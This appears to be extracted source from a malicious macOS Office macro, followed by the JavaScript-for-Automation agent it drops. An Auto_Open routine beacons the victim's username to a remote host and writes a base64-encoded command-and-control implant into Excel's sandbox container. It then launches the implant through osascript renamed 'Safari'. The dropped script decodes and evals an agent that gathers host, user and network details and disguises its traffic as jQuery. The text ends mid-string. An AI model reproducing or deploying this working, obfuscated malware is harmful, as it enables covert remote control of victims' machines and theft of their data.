METADATA = METADATA + "IHJldHVybiB7InVzZXJfb3V0cHV0IjogSlNPTi5zdHJpbmdpZnkoYXR0cmlidXRlcywgbnVsbCwgNiksICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgICAgICJ1c2VyX291dHB1dCI6ICJG"
METADATA = METADATA + "YWlsZWQgdG8gZ2V0IGF0dHJpYnV0ZXMgb2YgZmlsZS4gRmlsZSBkb2Vzbid0IGV4aXN0IG9yIHlvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gcmVhZCBpdCIsCiAgICAgICAgICAgICAgICAiY29tcGxldGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICJzdGF0"
METADATA = METADATA + "dXMiOiAiZXJyb3IiCiAgICAgICAgICAgIH07CiAgICAgICAgfQoKICAgIH1jYXRjaChlcnJvcil7CiAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgInVzZXJfb3V0cHV0IjogIkVycm9yOiAiICsgZXJyb3IudG9TdHJpbmcoKSwKICAgICAgICAgICAgImNvbXBs"
METADATA = METADATA + "ZXRlZCI6IHRydWUsCiAgICAgICAgICAgICJzdGF0dXMiOiAiZXJyb3IiCiAgICAgICAgfTsKICAgIH0KfTsKZXhwb3J0cy5sb2FkID0gZnVuY3Rpb24odGFzaywgY29tbWFuZCwgcGFyYW1zKXsKICAgIC8vYmFzZTY0IGRlY29kZSB0aGUgcGFyYW1zIGFuZCBwYXNz"
METADATA = METADATA + "IGl0IHRvIHRoZSBkZWZhdWx0X2xvYWQgY29tbWFuZAogICAgLy8gIHBhcmFtcyBzaG91bGQgYmUgeyJjbWRzIjogWyJjbWRfbmFtZTEiLCAiY21kX25hbWUyIl0sICJmaWxlX2lkIjogI30KICAgIHRyeXsKICAgICAgICBsZXQgcGFyc2VkX3BhcmFtcyA9IEpTT04u"
METADATA = METADATA + "cGFyc2UocGFyYW1zKTsKICAgICAgICBsZXQgY29kZSA9IEMyLnVwbG9hZCh0YXNrLCBwYXJzZWRfcGFyYW1zWydmaWxlX2lkJ10sICIiKTsKICAgICAgICBpZih0eXBlb2YgY29kZSA9PT0gInN0cmluZyIpewogICAgICAgICAgICByZXR1cm4geyJ1c2VyX291dHB1"
METADATA = METADATA + "dCI6U3RyaW5nKGNvZGUpLCAiY29tcGxldGVkIjogdHJ1ZSwgInN0YXR1cyI6ICJlcnJvciJ9OwogICAgICAgICAgICAvL3NvbWV0aGluZyBmYWlsZWQsIHdlIHNob3VsZCBoYXZlIE5TRGF0YSB0eXBlIGJhY2sKICAgICAgICB9CiAgICAgICAgbGV0IG5ld19kaWN0"
METADATA = METADATA + "ID0gZGVmYXVsdF9sb2FkKGJhc2U2NF9kZWNvZGUoY29kZSkpOwogICAgICAgIGNvbW1hbmRzX2RpY3QgPSBPYmplY3QuYXNzaWduKHt9LCBjb21tYW5kc19kaWN0LCBuZXdfZGljdCk7CiAgICAgICAgLy8gdXBkYXRlIHRoZSBjb25maWcgd2l0aCBvdXIgbmV3IGlu"
METADATA = METADATA + "Zm9ybWF0aW9uCiAgICAgICAgQzIuY29tbWFuZHMgPSBPYmplY3Qua2V5cyhjb21tYW5kc19kaWN0KTsKICAgICAgICByZXR1cm4geyJ1c2VyX291dHB1dCI6ICJMb2FkZWQgIiArIHBhcnNlZF9wYXJhbXNbJ2NtZHMnXSwgImNvbXBsZXRlZCI6IHRydWV9OwogICAg"
METADATA = METADATA + "fQogICAgY2F0Y2goZXJyb3IpewogICAgICAgIC8vY29uc29sZS5sb2coImVycm9yZWQgaW4gbG9hZCBmdW5jdGlvbiIpOwogICAgICAgIHJldHVybiB7InVzZXJfb3V0cHV0IjplcnJvci50b1N0cmluZygpLCAiY29tcGxldGVkIjogdHJ1ZSwgInN0YXR1cyI6ICJl"
METADATA = METADATA + "cnJvciJ9OwogICAgfQp9OwovL2NvbnNvbGUubG9nKCJhYm91dCB0byBsb2FkIGNvbW1hbmRzIik7CnZhciBjb21tYW5kc19kaWN0ID0gZXhwb3J0czsKdmFyIGpzaW1wb3J0cyA9ICIiOwoKLy8tLS0tLS0tLS0tLS0tR0VUIElQIEFORCBDSEVDS0lOIC0tLS0tLS0t"
METADATA = METADATA + "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYoICQuTlNEYXRlLmRhdGUuY29tcGFyZShDMi5raWxsX2RhdGUpID09PSAkLk5TT3JkZXJlZERlc2NlbmRpbmcgKXsKICAkLk5TQXBwbGljYXRpb24uc2hhcmVkQXBwbGljYXRpb24udGVybWluYXRlKHRoaXMpOwp9"
METADATA = METADATA + "CmZvcihsZXQgaT0wOyBpIDwgYXBmZWxsLmlwLmxlbmd0aDsgaSsrKXsKCWxldCBpcCA9IGFwZmVsbC5pcFtpXTsKCWlmIChpcC5pbmNsdWRlcygiLiIpICYmIGlwICE9PSAiMTI3LjAuMC4xIil7IC8vIHRoZSBpbmNsdWRlcygiLiIpIGlzIHRvIG1ha2Ugc3VyZSB3"
METADATA = METADATA + "ZSdyZSBsb29raW5nIGF0IElQdjQKCQkvL2NvbnNvbGUubG9nKCJmb3VuZCBpcCwgY2hlY2tpbmcgaW4iKTsKCQlDMi5jb21tYW5kcyA9ICBPYmplY3Qua2V5cyhjb21tYW5kc19kaWN0KTsKCQlDMi5jaGVja2luKGlwLGFwZmVsbC5waWQsYXBmZWxsLnVzZXIsT2Jq"
METADATA = METADATA + "Qy51bndyYXAoYXBmZWxsLnByb2NJbmZvLmhvc3ROYW1lKSwibWFjT1MiICsgIiAiICsgYXBmZWxsLm9zVmVyc2lvbiwgIng2NCIpOwoJCWJyZWFrOwoJfQp9Ci8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tTUFJTiBMT09QIC0tLS0tLS0tLS0tLS0tLS0tLS0t"
METADATA = METADATA + "LS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gc2xlZXBXYWtlVXAoKXsKICAgIHdoaWxlKHRydWUpewogICAgICAgICQuTlNUaHJlYWQuc2xlZXBGb3JUaW1lSW50ZXJ2YWwoQzIuZ2VuX3NsZWVwX3RpbWUoKSk7CiAgICAgICAgbGV0IG91dHB1dCA9ICIiOwog"
METADATA = METADATA + "ICAgICAgIGxldCB0YXNrID0gQzIuZ2V0VGFza2luZygpOwogICAgICAgIC8vY29uc29sZS5sb2coSlNPTi5zdHJpbmdpZnkodGFzaykpOwogICAgICAgIGxldCBjb21tYW5kID0gIiI7CiAgICAgICAgdHJ5ewogICAgICAgIAkvL2NvbnNvbGUubG9nKEpTT04uc3Ry"
METADATA = METADATA + "aW5naWZ5KHRhc2spKTsKICAgICAgICAJaWYodGFzay5sZW5ndGggPT09IDApewogICAgICAgIAkJY29udGludWU7CiAgICAgICAgCX0KICAgICAgICAJdGFzayA9IHRhc2tbMF07CiAgICAgICAgCS8vY29uc29sZS5sb2coSlNPTi5zdHJpbmdpZnkodGFzaykpOwog"
METADATA = METADATA + "ICAgICAgICAgICBjb21tYW5kID0gdGFza1siY29tbWFuZCJdOwogICAgICAgICAgICB0cnl7CiAgICAgICAgICAgICAgICBvdXRwdXQgPSBjb21tYW5kc19kaWN0W2NvbW1hbmRdKHRhc2ssIGNvbW1hbmQsIHRhc2tbJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAg"
METADATA = METADATA + "IH0KICAgICAgICAgICAgY2F0Y2goZXJyb3IpewogICAgICAgICAgICAgICAgaWYoZXJyb3IudG9TdHJpbmcoKS5pbmNsdWRlcygiY29tbWFuZHNfZGljdFtjb21tYW5kXSBpcyBub3QgYSBmdW5jdGlvbiIpKXsKICAgICAgICAgICAgICAgICAgICBvdXRwdXQgPXsi"
METADATA = METADATA + "dXNlcl9vdXRwdXQiOiAiVW5rbm93biBjb21tYW5kOiAiICsgY29tbWFuZCwgInN0YXR1cyI6ICJlcnJvciIsICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgb3V0cHV0"
METADATA = METADATA + "ID0geyJ1c2VyX291dHB1dCI6IGVycm9yLnRvU3RyaW5nKCksICJzdGF0dXMiOiAiZXJyb3IiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQzIucG9zdFJlc3BvbnNlKHRhc2ssIG91dHB1dCk7"
METADATA = METADATA + "CiAgICAgICAgfQogICAgICAgIGNhdGNoKGVycm9yKXsKICAgICAgICAgICAgQzIucG9zdFJlc3BvbnNlKHRhc2ssIHsidXNlcl9vdXRwdXQiOiBlcnJvci50b1N0cmluZygpLCAic3RhdHVzIjogImVycm9yIiwgImNvbXBsZXRlZCI6IHRydWV9KTsKICAgICAgICB9"
METADATA = METADATA + "CiAgICAgICAgLy90YXNrWyJjb21tYW5kIl0gPSAibm9uZSI7IC8vcmVzZXQganVzdCBpbiBjYXNlIHNvbWV0aGluZyBnb2VzIHdlaXJkCiAgICB9Cn0Kc2xlZXBXYWtlVXAoKTsK"
METADATA = METADATA + """ ))"
Dim r
Dim exitCode As LongPtr
Open "/Users/" & Environ("USER") & "/Library/Containers/com.microsoft.Excel/Data/expertzone.microsoft.com" For Output As #1
Print #1, METADATA
Close #1
r = esurrdem("ln -s /usr/bin/osascript ./Safari", exitCode)
r = esurrdem("./Safari -l JavaScript expertzone.microsoft.com > /dev/null 2>&1 &", exitCode)
End Sub
Sub uylhbfqxhh(url)
On Error GoTo CleanFail
ActiveSheet.Shapes.AddPicture _
Filename:=url, _
linktofile:=msoTrue, savewithdocument:=msoFalse, _
Left:=250, Top:=250, Width:=1, Height:=1
CleanFail:
Exit Sub
End Sub
Sub Auto_Open()
#If Mac Then
qfxtowbhccdseyqqxyu
#End If
uylhbfqxhh ("https://olympic.azureedge.net/yhinemine/bg.png?" & Environ("USER"))
End Sub
#################### dropped script #####################
b99=function(f){var g={},b=65,d=0,a,c=0,h,e="",k=String.fromCharCode,l=f.length;for(a="";91>b;)a+=k(b++);a+=a.toLowerCase()+"0123456789+/";for(b=0;64>b;b++)g[a.charAt(b)]=b;for(a=0;a<l;a++)for(b=g[f.charAt(a)],d=(d<<6)+b,c+=6;8<=c;)((h=d>>>(c-=8)&255)||a<l-2)&&(e+=k(h));return e};
eval(b99("Ly8gQ3JlYXRlZCBieSBDb2R5IFRob21hcyAtIEBpdHNfYV9mZWF0dXJlXwpPYmpDLmltcG9ydCgnQ29jb2EnKTsKT2JqQy5pbXBvcnQoJ0ZvdW5kYXRpb24nKTsgLy90aGVyZSBieSBkZWZhdWx0IEkgdGhpbmssIGJ1dCBzYWZlIHRvIGluY2x1ZGUgYW55d2F5Ck9iakMuaW1wb3J0KCdzdGRsaWInKTsKT2JqQy5iaW5kRnVuY3Rpb24oJ0NGTWFrZUNvbGxlY3RhYmxlJywgWydpZCcsIFsndm9pZCAqJ10gXSk7CnZhciBjdXJyZW50QXBwID0gQXBwbGljYXRpb24uY3VycmVudEFwcGxpY2F0aW9uKCk7CmN1cnJlbnRBcHAuaW5jbHVkZVN0YW5kYXJkQWRkaXRpb25zID0gdHJ1ZTsKLy8tLS0tLS0tLS0tLS0tLUlNUExBTlQgSU5GT1JNQVRJT04tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpjbGFzcyBhZ2VudHsKCWNvbnN0cnVjdG9yKCl7CgkJdGhpcy5wcm9jSW5mbyA9ICQuTlNQcm9jZXNzSW5mby5wcm9jZXNzSW5mbzsKCQl0aGlzLmhvc3RJbmZvID0gJC5OU0hvc3QuY3VycmVudEhvc3Q7CgkJdGhpcy5pZCA9ICIiOwoJCXRoaXMudXNlciA9IE9iakMuZGVlcFVud3JhcCh0aGlzLnByb2NJbmZvLnVzZXJOYW1lKTsKCQl0aGlzLmZ1bGxOYW1lID0gT2JqQy5kZWVwVW53cmFwKHRoaXMucHJvY0luZm8uZnVsbFVzZXJOYW1lKTsKCQkvL2V2ZXJ5IGVsZW1lbnQgaW4gdGhlIGFycmF5IG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuaXAgPSBPYmpDLmRlZXBVbndyYXAodGhpcy5ob3N0SW5mby5hZGRyZXNzZXMpOyAvL3Byb2JhYmx5IGp1c3QgbmVlZCBbMF0KCQl0aGlzLnBpZCA9IHRoaXMucHJvY0luZm8ucHJvY2Vzc0lkZW50aWZpZXI7CgkJLy9ldmVyeSBlbGVtZW50IGluIHRoZSBhcnJheSBuZWVkcyB0byBiZSB1bndyYXBwZWQKCQl0aGlzLmhvc3QgPSBPYmpDLmRlZXBVbndyYXAodGhpcy5ob3N0SW5mby5uYW1lcyk7IC8vcHJvYmFibHkganVzdCBuZWVkIFswXQoJCS8vdGhpcyBpcyBhIGRpY3Rpb25hcnksIGJ1dCBldmVyeSAndmFsdWUnIG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuZW52aXJvbm1lbnQgPSBPYmpDLmRlZXBVbndyYXAodGhpcy5wcm9jSW5mby5lbnZpcm9ubWVudCk7CgkJdGhpcy51cHRpbWUgPSB0aGlzLnByb2NJbmZvLnN5c3RlbVVwdGltZTsKCQkvL2V2ZXJ5IGVsZW1lbnQgaW4gdGhlIGFycmF5IG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuYXJncyA9IE9iakMuZGVlcFVud3JhcCh0aGlzLnByb2NJbmZvLmFyZ3VtZW50cyk7CgkJdGhpcy5vc1ZlcnNpb24gPSB0aGlzLnByb2NJbmZvLm9wZXJhdGluZ1N5c3RlbVZlcnNpb25TdHJpbmcuanM7CgkJdGhpcy51dWlkID0gImI4MmNhNDI3LTkwN2UtNDAzOC1hMmFlLWE0NDU4NDlmNmJmMiI7Cgl9Cn0KdmFyIGFwZmVsbCA9IG5ldyBhZ2VudCgpOwovLy0tLS0tLS0tLS0tLS0tQmFzZSBDMiBJTkZPUk1BVElPTi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KY2xhc3MgYmFzZUMyewoJLy9UbyBjcmVhdGUgeW91ciBvd24gQzIsIGV4dGVuZCB0aGlzIGNsYXNzIGFuZCBpbXBsZW1lbnQgdGhlIHJlcXVpcmVkIGZ1bmN0aW9ucwoJLy9UaGUgbWFpbiBjb2RlIGRlcGVuZHMgb24gdGhlIG1lY2hhbmlzbSBiZWluZyBDMiB3aXRoIHRoZXNlIGZ1bmN0aW9ucy4KCS8vICAgdGhlIGltcGxlbWVudGF0aW9uIG9mIHRoZSBmdW5jdGlvbnMgZG9lc24ndCBtYXR0ZXIgdGhvdWdoCgkvLyAgIFlvdSdyZSB3ZWxjb21lIHRvIGFkZCBhZGRpdGlvbmFsIGZ1bmN0aW9ucyBhcyB3ZWxsLCBidXQgdGhpcyBpcyB0aGUgbWluaW11bQoJY29uc3RydWN0b3IoaW50ZXJ2YWwsIGJhc2V1cmwpewoJCXRoaXMuaW50ZXJ2YWwgPSBpbnRlcnZhbDsgLy9zZWNvbmRzIGJldHdlZW4gY2FsbGJhY2tzCgkJdGhpcy5iYXNldXJsID0gYmFzZXVybDsgLy93aGVyZSB0byByZWFjaCBvdXQgdG8KCQl0aGlzLmNvbW1hbmRzID0gW107Cgl9CgljaGVja2luKCl7CgkJLy9jaGVjayBpbiB3aXRoIGMyIHNlcnZlcgoJfQoJZ2V0VGFza2luZygpewoJCS8vcmVhY2ggb3V0IHRvIHdoZXJldmVyIHRvIGdldCB0YXNraW5nCgl9CglnZXRDb25maWcoKXsKCQkvL2dldHMgdGhlIGN1cnJlbnQgY29uZmlndXJhdGlvbiBmb3IgdGFza2luZwoJfQoJcG9zdFJlc3BvbnNlKHRhc2ssIG91dHB1dCl7CgkJLy9vdXRwdXQgYSByZXNwb25zZSB0byBhIHRhc2sKCX0KCXNldENvbmZpZyhwYXJhbXMpewoJCS8vdXBkYXRlcyB0aGUgY3VycmVudCBjb25maWd1cmF0aW9uIGZvciBob3cgdG8gZ2V0IHRhc2tpbmcKCX0KCWRvd25sb2FkKHRhc2ssIHBhcmFtcyl7CgkgICAgLy9nZXRzIGEgZmlsZSBmcm9tIHRoZSBhcGZlbGwgc2VydmVyIGluIHNvbWUgd2F5Cgl9Cgl1cGxvYWQodGFzaywgcGFyYW1zKXsKCSAgICAvL3VwbG9hZHMgYSBmaWxlIGluIHNvbWUgd2F5IHRvIHRoZSB0ZWFtc2VydmVyCgl9Cn0KLy8tLS0tLS0tLS0tLS0tUkVTVEZVTCBDMiBtZWNoYW5pc21zIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpjbGFzcyBjdXN0b21DMiBleHRlbmRzIGJhc2VDMnsKCgljb25zdHJ1Y3RvcihpbnRlcnZhbCwgYmFzZXVybCl7CgkJc3VwZXIoaW50ZXJ2YWwsIGJhc2V1cmwpOwoJCXRoaXMuY29tbWFuZHMgPSBbXTsKCQl0aGlzLmMyX2NvbmZpZyA9IHsKIkdFVCI6IHsKICAgICJTZXJ2ZXJCb2R5IjogWwogICAgICB7CiAgICAgICAgImZ1bmN0aW9uIjogImJhc2U2NCIsCiAgICAgICAgInBhcmFtZXRlcnMiOiBbXQogICAgICB9LAogICAgICB7CiAgICAgICAgImZ1bmN0aW9uIjogInByZXBlbmQiLAogICAgICAgICJwYXJhbWV0ZXJzIjogWyIhZnVuY3Rpb24oZSx0KXtcInVzZSBzdHJpY3RcIjtcIm9iamVjdFwiPT10eXBlb2YgbW9kdWxlJiZcIm9iamVjdFwiPT10eXBlb2YgbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9ZS5kb2N1bWVudD90KGUsITApOmZ1bmN0aW9uKGUpe2lmKCFlLmRvY3VtZW50KXRocm93IG5ldyBFcnJvcihcImpRdWVyeSByZXF1aXJlcyBhIHdpbmRvdyB3aXRoIGEgZG9jdW1lbnRcIik7cmV0dXJuIHQoZSl9OnQoZSl9KFwidW5kZWZpbmVkXCIhPXR5cGVvZiB3aW5kb3c/d2luZG93OnRoaXMsZnVuY3Rpb24oZSx0KXtcInVzZSBzdHJpY3RcIjt2YXIgbj1bXSxyPWUuZG9jdW1lbnQsaT1PYmplY3QuZ2V0UHJvdG90eXBlT2Ysbz1uLnNsaWNlLGE9bi5jb25jYXQscz1uLnB1c2gsdT1uLmluZGV4T2YsbD17fSxjPWwudG9TdHJpbmcsZj1sLmhhc093blByb3BlcnR5LHA9Zi50b1N0cmluZyxkPXAuY2FsbChPYmplY3QpLGg9e30sZz1mdW5jdGlvbiBlKHQpe3JldHVyblwiZnVuY3Rpb25cIj09dHlwZW9mIHQmJlwibnVtYmVyXCIhPXR5cGVvZiB0Lm5vZGVUeXBlfSx5PWZ1bmN0aW9uIGUodCl7cmV0dXJuIG51bGwhPXQmJnQ9PT10LndpbmRvd30sdj17dHlwZTohMCxzcmM6ITAsbm9Nb2R1bGU6ITB9O2Z1bmN0aW9uIG0oZSx0LG4pe3ZhciBpLG89KHQ9dHx8cikuY3JlYXRlRWxlbWVudChcInNjcmlwdFwiKTtpZihvLnRleHQ9ZSxuKWZvcihpIGluIHYpbltpXSYmKG9baV09bltpXSk7dC5oZWFkLmFwcGVuZENoaWxkKG8pLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyl9ZnVuY3Rpb24geChlKXtyZXR1cm4gbnVsbD09ZT9lK1wiXCI6XCJvYmplY3RcIj09dHlwZW9mIGV8fFwiZnVuY3Rpb25cIj09dHlwZW9mIGU/bFtjLmNhbGwoZSldfHxcIm9iamVjdFwiOnR5cGVvZiBlfXZhciBiPVwiMy4zLjFcIix3PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIG5ldyB3LmZuLmluaXQoZSx0KX0sVD0vXltcXHNcXHVGRUZGXFx4QTBdK3xbXFxzXFx1RkVGRlxceEEwXSskL2c7dy5mbj13LnByb3RvdHlwZT17anF1ZXJ5OlwiMy4zLjFcIixjb25zdHJ1Y3Rvcjp3LGxlbmd0aDowLHRvQXJyYXk6ZnVuY3Rpb24oKXtyZXR1cm4gby5jYWxsKHRoaXMpfSxnZXQ6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGw9PWU/by5jYWxsKHRoaXMpOmU8MD90aGlzW2UrdGhpcy5sZW5ndGhdOnRoaXNbZV19LHB1c2hTdGFjazpmdW5jdGlvbihlKXt2YXIgdD13Lm1lcmdlKHRoaXMuY29uc3RydWN0b3IoKSxlKTtyZXR1cm4gdC5wcmV2T2JqZWN0PXRoaXMsdH0sZWFjaDpmdW5jdGlvbihlKXtyZXR1cm4gdy5lYWNoKHRoaXMsZSl9LG1hcDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2sody5tYXAodGhpcyxmdW5jdGlvbih0LG4pe3JldHVybiBlLmNhbGwodCxuLHQpfSkpfSxzbGljZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLnB1c2hTdGFjayhvLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LGZpcnN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoMCl9LGxhc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgtMSl9LGVxOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMubGVuZ3RoLG49K2UrKGU8MD90OjApO3JldHVybiB0aGlzLnB1c2hTdGFjayhuPj0wJiZuPHQ/W3RoaXNbbl1dOltdKX0sZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHJldk9iamVjdHx8dGhpcy5jb25zdHJ1Y3RvcigpfSxwdXNoOnMsc29ydDpuLnNvcnQsc3BsaWNlOm4uc3BsaWNlfSx3LmV4dGVuZD13LmZuLmV4dGVuZD1mdW5jdGlvbigpe3ZhciBlLHQsbixyLGksbyxhPWFyZ3VtZW50c1swXXx8e30scz0xLHU9YXJndW1lbnRzLmxlbmd0aCxsPSExO2ZvcihcImJvb2xlYW5cIj09dHlwZW9mIGEmJihsPWEsYT1hcmd1bWVudHNbc118fHt9LHMrKyksXCJvYmplY3RcIj09dHlwZW9mIGF8fGcoYSl8fChhPXt9KSxzPT09dSYmKGE9dGhpcyxzLS0pO3M8dTtzKyspaWYobnVsbCE9KGU9YXJndW1lbnRzW3NdKSlmb3IodCBpbiBlKW49YVt0XSxhIT09KHI9ZVt0XSkmJihsJiZyJiYody5pc1BsYWluT2JqZWN0KHIpfHwoaT1BcnJheS5pc0FycmF5KHIpKSk/KGk/KGk9ITEsbz1uJiZBcnJheS5pc0FycmF5KG4pP246W10pOm89biYmdy5pc1BsYWluT2JqZWN0KG4pP246e30sYVt0XT13LmV4dGVuZChsLG8scikpOnZvaWQgMCE9PXImJihhW3RdPXIpKTtyZXR1cm4gYX0sdy5leHRlbmQoe2V4cGFuZG86XCJqUXVlcnlcIisoXCIzLjMuMVwiK01hdGgucmFuZG9tKCkpLnJlcGxhY2UoL1xcRC9nLFwiXCIpLGlzUmVhZHk6ITAsZXJyb3I6ZnVuY3Rpb24oZSl7dGhyb3cgbmV3IEVycm9yKGUpfSxub29wOmZ1bmN0aW9uKCl7fSxpc1BsYWluT2JqZWN0OmZ1bmN0aW9uKGUpe3ZhciB0LG47cmV0dXJuISghZXx8XCJbb2JqZWN0IE9iamVjdF1cIiE9PWMuY2FsbChlKSkmJighKHQ9aShlKSl8fFwiZnVuY3Rpb25cIj09dHlwZW9mKG49Zi5jYWxsKHQsXCJjb25zdHJ1Y3RvclwiKSYmdC5jb25zdHJ1Y3RvcikmJnAuY2FsbChuKT09PWQpfSxpc0VtcHR5T2JqZWN0OmZ1bmN0aW9uKGUpe3ZhciB0O2Zvcih0IGluIGUpcmV0dXJuITE7cmV0dXJuITB9LGdsb2JhbEV2YWw6ZnVuY3Rpb24oZSl7bShlKX0sZWFjaDpmdW5jdGlvbihlLHQpe3ZhciBuLHI9MDtpZihDKGUpKXtmb3Iobj1lLmxlbmd0aDtyPG47cisrKWlmKCExPT09dC5jYWxsKGVbcl0scixlW3JdKSlicmVha31lbHNlIGZvcihyIGluIGUpaWYoITE9PT10LmNhbGwoZVtyXSxyLGVbcl0pKWJyZWFrO3JldHVybiBlfSx0cmltOmZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lP1wiXCI6KGUrXCJcIikucmVwbGFjZShULFwiXCIpfSxtYWtlQXJyYXk6ZnVuY3Rpb24oZSx0KXt2YXIgbj10fHxbXTtyZXR1cm4gbnVsbCE9ZSYmKEMoT2JqZWN0KGUpKT93Lm1lcmdlKG4sXCJzdHJpbmdcIj09dHlwZW9mIGU/W2VdOmUpOnMuY2FsbChuLGUpKSxufSxpbkFycmF5OmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gbnVsbD09dD8tMTp1LmNhbGwodCxlLG4pfSxtZXJnZTpmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0rdC5sZW5ndGgscj0wLGk9ZS5sZW5ndGg7cjxuO3IrKyllW2krK109dFtyXTtyZXR1cm4gZS5sZW5ndGg9aSxlfSxncmVwOmZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHIsaT1bXSxvPTAsYT1lLmxlbmd0aCxzPSFuO288YTtvKyspKHI9IXQoZVtvXSxvKSkhPT1zJiZpLnB1c2goZVtvXSk7cmV0dXJuIGl9LG1hcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPTAscz1bXTtpZihDKGUpKWZvcihyPWUubGVuZ3RoO288cjtvKyspbnVsbCE9KGk9dChlW29dLG8sbikpJiZzLnB1c2goaSk7ZWxzZSBmb3IobyBpbiBlKW51bGwhPShpPXQoZVtvXSxvLG4pKSYmcy5wdXNoKGkpO3JldHVybiBhLmFwcGx5KFtdLHMpfSxndWlkOjEsc3VwcG9ydDpofSksXCJmdW5jdGlvblwiPT10eXBlb2YgU3ltYm9sJiYody5mbltTeW1ib2wuaXRlcmF0b3JdPW5bU3ltYm9sLml0ZXJhdG9yXSksdy5lYWNoKFwiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciBTeW1ib2xcIi5zcGxpdChcIiBcIiksZnVuY3Rpb24oZSx0KXtsW1wiW29iamVjdCBcIit0K1wiXVwiXT10LnRvTG93ZXJDYXNlKCl9KTtmdW5jdGlvbiBDKGUpe3ZhciB0PSEhZSYmXCJsZW5ndGhcImluIGUmJmUubGVuZ3RoLG49eChlKTtyZXR1cm4hZyhlKSYmIXkoZSkmJihcImFycmF5XCI9PT1ufHwwPT09dHx8XCJudW1iZXJcIj09dHlwZW9mIHQmJnQ+MCYmdC0xIGluIGUpfXZhciBFPWZ1bmN0aW9uKGUpe3ZhciB0LG4scixpLG8sYSxzLHUsbCxjLGYscCxkLGgsZyx5LHYsbSx4LGI9XCJzaXp6bGVcIisxKm5ldyBEYXRlLHc9ZS5kb2N1bWVudCxUPTAsQz0wLEU9YWUoKSxrPWFlKCksUz1hZSgpLEQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZT09PXQmJihmPSEwKSwwfSxOPXt9Lmhhc093blByb3BlcnR5LEE9W10saj1BLnBvcCxxPUEucHVzaCxMPUEucHVzaCxIPUEuc2xpY2UsTz1mdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wLHI9ZS5sZW5ndGg7bjxyO24rKylpZihlW25dPT09dClyZXR1cm4gbjtyZXR1cm4tMX0sUD1cIlxyIl0KICAgICAgfSwKICAgICAgewogICAgICAgICJmdW5jdGlvbiI6ICJwcmVwZW5kIiwKICAgICAgICAicGFyYW1ldGVycyI6IFsiLyohIGpRdWVyeSB2My40LjEgfCAoYykgSlMgRm91bmRhdGlvbiBhbmQgb3RoZXIgY29udHJpYnV0b3JzIHwganF1ZXJ5Lm9yZy9saWNlbnNlICovIl0KICAgICAgfSwKICAgICAgewogICAgICAgICJmdW5jdGlvbiI6ICJhcHBlbmQiLAogICAgICAgICJwYXJhbWV0ZXJzIjogWyJcIi4obz10LmRvY3VtZW50RWxlbWVudCxNYXRoLm1heCh0LmJvZHlbXCJzY3JvbGxcIitlXSxvW1wic2Nyb2xsXCIrZV0sdC5ib2R5W1wib2Zmc2V0XCIrZV0sb1tcIm9mZnNldFwiK2VdLG9bXCJjbGllbnRcIitlXSkpOnZvaWQgMD09PWk/dy5jc3ModCxuLHMpOncuc3R5bGUodCxuLGkscyl9LHQsYT9pOnZvaWQgMCxhKX19KX0pLHcuZWFjaChcImJsdXIgZm9jdXMgZm9jdXNpbiBmb2N1c291dCByZXNpemUgc2Nyb2xsIGNsaWNrIGRibGNsaWNrIG1vdXNlZG93biBtb3VzZXVwIG1vdXNlbW92ZSBtb3VzZW92ZXIgbW91c2VvdXQgbW91c2VlbnRlciBtb3VzZWxlYXZlIGNoYW5nZSBzZWxlY3Qgc3VibWl0IGtleWRvd24ga2V5cHJlc3Mga2V5dXAgY29udGV4dG1lbnVcIi5zcGxpdChcIiBcIiksZnVuY3Rpb24oZSx0KXt3LmZuW3RdPWZ1bmN0aW9uKGUsbil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg+MD90aGlzLm9uKHQsbnVsbCxlLG4pOnRoaXMudHJpZ2dlcih0KX19KSx3LmZuLmV4dGVuZCh7aG92ZXI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5tb3VzZWVudGVyKGUpLm1vdXNlbGVhdmUodHx8ZSl9fSksdy5mbi5leHRlbmQoe2JpbmQ6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aG